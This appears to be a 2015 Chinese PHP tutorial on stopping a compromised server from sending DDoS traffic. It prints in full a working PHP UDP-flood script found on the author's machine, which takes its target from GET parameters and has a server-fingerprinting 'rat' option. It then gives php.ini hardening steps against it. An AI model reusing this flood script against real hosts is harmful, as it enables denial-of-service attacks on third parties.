php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
header()函数使用说明
Nov 23 PHP
比较全面的PHP数组的使用方法小结
Sep 23 PHP
Windows7下的php环境配置教程
Feb 28 PHP
使用Appcan客户端自动更新PHP版本号(全)
Jul 31 PHP
Yii2中如何使用modal弹窗(基本使用)
May 30 PHP
php微信公众号开发(3)php实现简单微信文本通讯
Dec 15 PHP
PHP实现大数(浮点数)取余的方法
Feb 18 PHP
详解PHP字符串替换str_replace()函数四种用法
Oct 13 PHP
php图片合成方法(多张图片合成一张)
Nov 25 PHP
浅谈Laravel中的三种中间件的作用
Oct 13 PHP
laravel 解决ajax异步提交数据,并还回填充表格的问题
Oct 15 PHP
TP5框架页面跳转样式操作示例
Apr 05 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
php中的strpos使用示例
2014/02/27 PHP
phpmailer中文乱码问题的解决方法
2014/04/22 PHP
php curl 获取https请求的2种方法
2015/04/27 PHP
用PHP写的一个冒泡排序法的函数简单实例
2016/05/26 PHP
php mysql PDO 查询操作的实例详解
2017/09/23 PHP
PHP Post获取不到非表单数据的问题解决办法
2018/02/27 PHP
PHP类的自动加载与命名空间用法实例分析
2020/06/05 PHP
深入解析PHP底层机制及相关原理
2020/12/11 PHP
JavaScript转换农历类实现及调用方法
2013/01/27 Javascript
javascript陷阱 一不小心你就中招了(字符运算)
2013/11/10 Javascript
jQuery实现可收缩展开的级联菜单实例代码
2013/11/27 Javascript
ExtJS中设置下拉列表框不可编辑的方法
2014/05/07 Javascript
jquery根据属性和index来查找属性值并操作
2014/07/25 Javascript
JavaScript输出当前时间Unix时间戳的方法
2015/04/06 Javascript
纯javascript实现自动发送邮件
2015/10/21 Javascript
微信小程序 表单Form实例详解(附源码)
2016/12/22 Javascript
JavaScript用构造函数如何获取变量的类型名
2016/12/23 Javascript
微信小程序-拍照或选择图片并上传文件
2017/01/06 Javascript
Vue 2.0+Vue-router构建一个简单的单页应用(附源码)
2017/03/14 Javascript
vue项目关闭eslint校验
2018/03/21 Javascript
layui 解决富文本框form表单提交为空的问题
2019/10/26 Javascript
解决vue组件销毁之后计时器继续执行的问题
2020/07/21 Javascript
python模块smtplib学习
2018/05/22 Python
对pandas中Series的map函数详解
2018/07/25 Python
对python制作自己的数据集实例讲解
2018/12/12 Python
Python基本数据结构之字典类型dict用法分析
2019/06/08 Python
关于python的缩进规则的知识点详解
2020/06/22 Python
CSS3绘制圆角矩形的简单示例
2015/09/28 HTML / CSS
MADE法国:提供原创设计师家具
2018/09/18 全球购物
2019年c语言经典面试题目
2016/08/17 面试题
进程的查看和调度分别使用什么命令
2013/12/14 面试题
建筑设计所实习生自我鉴定
2013/09/25 职场文书
机械化及自动化毕业生的自我评价分享
2013/11/06 职场文书
三八红旗手主要事迹材料
2015/11/04 职场文书
详解JVM系列之内存模型
2021/06/10 Javascript
Python 的 sum() Pythonic 的求和方法详细
2021/10/16 Python